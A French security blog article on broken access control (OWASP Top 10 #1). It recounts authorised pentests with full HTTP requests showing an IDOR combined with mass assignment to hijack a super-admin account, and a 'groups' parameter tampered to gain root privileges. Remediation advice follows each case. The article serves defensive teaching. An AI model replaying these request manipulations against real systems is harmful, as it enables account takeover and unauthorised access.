Top 10 OWASP #1 : sécurité et vulnérabilités du contrôle d'accès

L’OWASP (Open Web Application Security Project) est une communauté qui œuvre à l’amélioration de la sécurité des systèmes d’information.

Cette organisation produit de nombreuses ressources, notamment des guides et normes de sécurité des applications dont l’OWASP Top 10. Elle développe également des outils open source comme ZAP (un proxy d’interception, alternative à BURP), ou Amass (pour cartographier sa surface d’attaque).

Qu’est-ce que le Top 10 OWASP ?

Le top 10 de l’OWASP fournit un classement des 10 risques et vulnérabilités les plus critiques pour la sécurité des applications web.

Depuis la première mouture en 2014, ce top 10 a évolué avec une nouvelle version en 2017 puis une dernière publiée en 2021. L’objectif : s’adapter aux nouveaux enjeux liés au développement d’applications web et à l’évolution du paysage des risques.

Ci-dessous une analyse comparative du Top 10 OWASP 2021 et de la version précédente de 2017 :

Top 10 OWASP 2017 VS 2021
Source : OWASP

Dans cet article, nous passons en revue la vulnérabilité la plus critique des applications web selon le Top 10 OWASP : le défaut de contrôle d’accès (broken access control). En partant de scénarios d’attaques réalisés lors de pentests web, nous détaillerons les exploitations courantes ainsi que les bonnes pratiques, correctifs et mesures à implémenter pour renforcer la sécurité du contrôle d’accès. 

Plan détaillé de l’article :

Le contrôle d’accès, un mécanisme critique

Le contrôle d’accès peut se résumer en une injonction : s’assurer que les utilisateurs d’un système agissent strictement dans le cadre des autorisations prévues, car, en cas de défaillance, un attaquant (authentifié ou non) pourrait voler, modifier ou détruire des données sensibles.   

Dans le contexte des applications web, le contrôle d’accès dépend de l’authentification servant à identifier un utilisateur, et des sessions, qui permettent d’identifier les demandes HTTP effectuées par le même utilisateur.

En somme, le contrôle d’accès est un mécanisme qui permet de déterminer et de vérifier le rôle et les autorisations d’un utilisateur sur un système.

De facto, la gestion des contrôles d’accès est un enjeu central et une problématique complexe. D’un côté, il doit tenir compte des contraintes organisationnelles pour une mise en œuvre technique opérationnelle dans le respect de la règlementation (RGPD et protection des données). De l’autre, le contrôle d’accès doit être sécurisé pour faire face à des attaques sophistiquées exploitant failles techniques et/ou humaines.

Quels sont les différents types de contrôle d’accès ?

Du point de vue d’un utilisateur, les contrôles d’accès peuvent être répartis dans les catégories suivantes : les contrôles d’accès verticaux, horizontaux ou contextuels.

En premier lieu, les contrôles d’accès verticaux :

Il s’agit des mécanismes qui limitent l’accès à des fonctionnalités sensibles via des rôles sur le système bien définis (ex. administrateurs et différents groupes d’utilisateurs). Et dans ce cas de figure, un utilisateur standard ne devrait pas pouvoir accéder aux données d’un administrateur et réaliser des actions en dehors du cadre de ses missions.

Puis, les contrôles d’accès horizontaux :

Ici il s’agit de limiter l’accès à certaines ressources aux utilisateurs qui sont spécifiquement autorisés à accéder à ces dernières. Ainsi, dans un même groupe d’utilisateurs (imaginons un service comptable), un utilisateur A aura accès à un sous-ensemble de ressources X, inaccessible pour un user B mais qui aura accès à un autre sous ensemble de ressources Y, inaccessible à A.

Enfin, les contrôles d’accès contextuels :

Ces derniers permettent de limiter l’accès aux fonctionnalités et ressources en fonction de l’état de l’application ou de l’interaction de l’utilisateur avec celle-ci.

Quelles sont les vulnérabilités courantes de contrôle d’accès ? 

Avant d’entrer dans le vif du sujet, notons que l’élévation de privilèges ou le vol de comptes sont très souvent les principaux objectifs d’un attaquant ciblant une application web. Pour ce faire, plusieurs exploitations sont possibles.

Exploitation de vulnérabilités IDOR et vol de comptes

Une faille IDOR (Insecure Direct Object Reference) apparait lorsqu’une référence directe à un objet peut être contrôlée par un utilisateur.

Prenons un cas concret pour présenter un exemple d’exploitation de ce type de vulnérabilité, lié au manque de contrôle de droits sur un système.

En effet, lors d’un pentest sur une plateforme web, nous avons identifié une IDOR que nous avons exploité en tirant parti d’une autre vulnérabilité de type « Mass Assignment ». Cela nous a permis de modifier l’email d’un super administrateur et de prendre le contrôle du compte de ce dernier.

Voyons cette exploitation plus en détail :

Pentest en boite grise d’une application SaaS

Lors de ce pentest, nous étions en boite grise avec un compte utilisateur de test.

Notons que l’application ne permettait pas de modifier ses informations personnelles excepté son mot de passe. Et lors de la modification du mot de passe, une réponse renvoyait le nouveau mot de passe hashé en MD5 avec l’ID de l’utilisateur effectuant la requête.

Découverte d’une faille IDOR

Pour découvrir une potentielle faille IDOR, la première manipulation qui vient à l’esprit est de changer l’ID de l’utilisateur dans la requête.

Seulement, dans notre cas, l’application rejetait le nouveau mot de passe car l’ID de la requête ne correspondait pas à l’utilisateur effectuant la requête.

Requête initiale avec changement de mot de passe :

POST /supplierportal/api/update HTTP/2
Host: ***********
Cookie: auth_token={TOKEN}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/json, text/plain, */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 134
Origin: https://******************
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

{"table":"utilisateurs"
,"lignes":[{
"id":"1","champs":{
                "mdp":"****"
               }}],
"token":"{TOKEN}","lang":"fr_fr"}

Réponse :

HTTP/2 200 OK
Server: nginx
Date: Tue, 07 Feb 2023 15:10:26 GMT
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: *
Etag: W/"23-W17/Ldl+nSKq7yJh8+kT5FyKXwg"
Vary: Accept-Encoding
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Xss-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Referrer-Policy: no-referrer-when-downgrade

{"réponse":"ERREUR","id":"erreur"}

Pour un test d’IDOR « standard », nous aurions pu arrêter ici. Cependant, la requête contient également un paramètre nommé table.

Découverte d’une faille de type Mass Assignment

Ce paramètre table fait directement penser à un objet de base de données. Cela signifie peut-être que l’application peut créer un objet utilisateur à partir des données entrées en front (sans contrôler les attributs soumis) afin de l’enregistrer dans la base de données côté backend. Ce type de problème s’appelle « Mass Assignment ».

Partant de ce constat, notre seconde idée fut d’essayer de modifier le nom, prénom et email de notre utilisateur (id : 23), action impossible via l’interface.

Requête avec Mass Assignment :

POST /supplierportal/api/update HTTP/2
Host: ***********
Cookie: auth_token={TOKEN} 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/json, text/plain, */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 191
Origin: https://**********************
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

{
  "table": "utilisateurs",
  "lignes": [
    {
      "id": "23",
      "champs": {
        "email": "[email protected]",
        "nom": "test",
        "prenom": "test"
      }
    }
  ],
  "token": "{TOKEN}",
  "lang": "fr_fr"
}

Réponse :

HTTP/2 200 OK
Server: nginx
Date: Tue, 07 Feb 2023 15:13:35 GMT
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: *
Etag: W/"1a-QdvNE37uxzc4r5RtHUBGtpuqv10"
Vary: Accept-Encoding
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Xss-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Referrer-Policy: no-referrer-when-downgrade

{"réponse":"OK","id":"23"}

Comme nous pouvons le constater, l’application a accepté notre requête et notre utilisateur vient d’être modifié.

Exploitation IDOR via requête avec Mass Assignment

Enfin, nous allons donc combiner la dernière requête avec le test d’une IDOR classique en ciblant l’utilisateur numéro 1, qui dans le cas de cette application est le super admin.

Requête :

POST /supplierportal/api/update HTTP/2
Host: ***********
Cookie: auth_token={TOKEN} 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/json, text/plain, */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 191
Origin: https://**********************
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

{
  "table": "utilisateurs",
  "lignes": [
    {
      "id": "1",
      "champs": {
        "email": "[email protected]",
        "nom": "test",
        "prenom": "test"
      }
    }
  ],
  "token": "{TOKEN}",
  "lang": "fr_fr"
}

Réponse :

HTTP/2 200 OK
Server: nginx
Date: Tue, 07 Feb 2023 15:13:35 GMT
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: *
Etag: W/"1a-QdvNE37uxzc4r5RtHUBGtpuqv10"
Vary: Accept-Encoding
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Xss-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Referrer-Policy: no-referrer-when-downgrade

{"réponse":"OK","id":"1"}

Nous avons donc maintenant le compte super admin qui utilise une adresse email sous notre contrôle. Il suffit d’effectuer une demande de réinitialisation de mot de passe pour ce nouvel email et le compte nous appartient.

Correction de la vulnérabilité  

Il est important de noter qu’ici, une mesure de sécurité est déjà en place avec un blocage lors de tentatives de changement de mot de passe, ce qui ne permet pas l’exploitation d’une IDOR triviale.

Cependant, les développeurs ont omis la possibilité de modification d’email, impossible côté front mais réalisable vu la manière de sauvegarder les objets dans le back, ce qui permet l’exploitation de cette faille.

Afin de corriger cette faille, deux actions (recommandées dans le rapport de pentest) doivent être mises en œuvre :

  • Pour prévenir la vulnérabilité de type IDOR : contrôler le niveau de privilège de l’utilisateur effectuant la requête. Si ce n’est pas un super admin, autoriser seulement le changement de mot de passe de l’utilisateur effectuant la requête.
  • Pour corriger la faille de type Mass Assignment :  ne pas instancier l’objet utilisateur directement avec les données soumises dans la requête. Instancier l’objet utilisateur de manière contrôlée via une fonction récupérant uniquement les données attendues et créer l’objet à partir de celles-ci. 

Manipulation de paramètres et élévation de privilèges

La gestion des permissions est une fonctionnalité sensible dans une application web. En cas de mauvaise implémentation, des vulnérabilités critiques peuvent être exploitées.

Prenons le cas concret suivant rencontré lors d’un autre pentest web.

L’application testée était séparée en différentes organisations, chacune possédant au moins un compte de type « administrateur ».

En bref, un administrateur pouvait gérer les permissions de chaque utilisateur dans son organisation en leur accordant les rôles associés à leur métier.

Le premier test que nous avons effectué sur cette fonctionnalité a été de tester l’élévation de privilèges depuis un compte admin de test.

Nous avons rejoué la requête de changement de permissions (au préalable effectué avec un compte administrateur) avec un compte de type « Utilisateur ». Le contrôle de droit était bien implémenté et la requête a été refusée par le serveur.

En regardant la requête, plusieurs paramètres semblaient intéressant.

PUT /api/user/86/ HTTP/2
Cookie: auth_token=TOKEN
Content-Length: 122

{"id":86,"first_name":"Prenom","last_name":"Nom",
"is_superuser":false,
"is_staff":false,"groups":["user"]}

Alors, nous avons modifié le userID (qui est un ID incrémental), notamment les paramètres is_superuser et is_staff mais aucun d’eux ne menait à un problème de contrôle de droit.

En revanche, le paramètre vulnérable était groups qui correspondait aux permissions que l’on veut accorder à un utilisateur.

Dans ce paramètre, on pouvait y insérer 5 valeurs différentes que l’on voyait dans l’interface utilisateur.

Et grâce à l’accès au code source qui nous a été fourni pour ce pentest en boite blanche, nous avons pu connaître tous les rôles qui existaient. Cela nous a permis de découvrir le rôle root, qui était utilisé en interne par les développeurs. Nous avons alors rajouté cette valeur dans le paramètre groups.

PUT /api/user/86/ HTTP/2
Cookie: auth_token=TOKEN
Content-Length: 122

{"id":86,"first_name":"Prenom","last_name":"Nom",
"is_superuser":false,
"is_staff":false,"groups":["user",”root”]}

Aucun contrôle n’était effectué sur les valeurs du paramètre groups et nous sommes donc passés d’un utilisateur « admin » à « superAdmin ».

Dès lors, nous avions accès à tous les utilisateurs de la plateforme (même ceux qui n’étaient pas dans notre organisation), avec la possibilité de les modifier et de les supprimer.

Notons que le fait d’être en boîte blanche a facilité la découverte de cette vulnérabilité, même s’il aurait été possible de connaître les rôles existants en examinant le code JavaScript chargé dans le navigateur.

Pour corriger cette faille critique, la recommandation indiquée dans le rapport était tout simplement d’effectuer une vérification sur les valeurs passées dans « groups » et l’utilisateur qui effectue la requête.

Sécurité du contrôle d’accès : les mesures essentielles

Avant d’entrer dans le vif du sujet, une précision importante : le contrôle d’accès n’est efficace que s’il est réalisé coté serveur, où l’attaquant ne peut pas modifier la vérification ou les métadonnées.

De plus, les autres éléments essentiels sont les suivants (liste non exhaustive) :

Lors du développement :

  • Déclarer l’accès autorisé au niveau du code pour chaque ressource et refuser l’accès par défaut.
  • Centraliser l’implémentation des mécanismes de contrôle d’accès et les réutiliser dans l’ensemble de l’application.
  • Désactiver le directory listing sur le serveur web.
  • Pour éviter tout accès non autorisé : s’assurer que toutes les pages de l’application (à accès restreint) ont un contrôle d’authentification et de droits (quand une référence directe à un objet – ID – est effectuée par exemple).

Dans la stratégie cybersécurité globale :

  • Ne jamais s’appuyer uniquement sur l’obscurcissement (security through obscurity) pour le contrôle d’accès.
  • Consigner les échecs de tentatives d’accès via la mise en place d’un processus de logging et monitoring.
  • Attribuer les droits d’accès en appliquant le principe du moindre privilège.

Le principe du moindre privilège : une mesure clé pour sécuriser les accès

Le principe du moindre privilège consiste à accorder à chaque utilisateur, application ou service uniquement les privilèges nécessaires pour effectuer une tâche requise. En d’autres termes, il s’agit de bloquer par défaut l’accès à toutes les ressources et de n’autoriser que ce qui est nécessaire à un utilisateur ou un système.

Ce principe de sécurité vise à minimiser les risques en limitant l’impact d’une attaque ou d’une erreur humaine. En effet, individualiser et restreindre les accès utilisateurs permet non seulement de réduire le risque de fuites de données mais aussi d’atténuer les risques en cas de compromission d’un compte utilisateur en empêchant le mouvement latéral.  

En effet, si un attaquant usurpe l’identité d’un utilisateur, il pourra certes, extraire des données ou réaliser des actions dans l’application ciblée, mais celles-ci seront limitées aux seules données et fonctionnalités auxquelles a accès l’utilisateur victime.

Implémenter le Rate limiting pour contrôler les requêtes envoyées côté serveur

Le rate limiting est un mécanisme essentiel qui permet de limiter la quantité de requêtes qu’un utilisateur peut envoyer au serveur. Dans le contexte du contrôle d’accès, il ne permet pas de prévenir la découverte de failles mais peut en réduire la probabilité d’exploitation en bloquant des tentatives de brute force d’un attaquant par exemple.

Pour plus d’informations, vous pouvez consulter notre article : Rate limiting, fonctionnement et techniques d’implémentation.

Réaliser un pentest web pour tester la sécurité du contrôle d’accès

Les applications web sont des cibles particulièrement attrayantes car très souvent vulnérables. De facto, implémenter des pratiques de développements sécurisés est essentiel pour éviter des erreurs de programmation et de configuration.

Cependant, pour s’assurer de la résistance d’une application face à des attaques pouvant exploiter des failles techniques, logiques voire humaines (ingénierie sociale), un pentest reste une étape clé.

En effet, il s’agit de simuler une attaque afin d’évaluer l’efficacité des contrôles de sécurité tout en mettant en évidence les risques posés par des vulnérabilités exploitables. Sur une application web, il s’agira notamment d’identifier puis d’exploiter des vulnérabilités côté serveur et sur la couche applicative.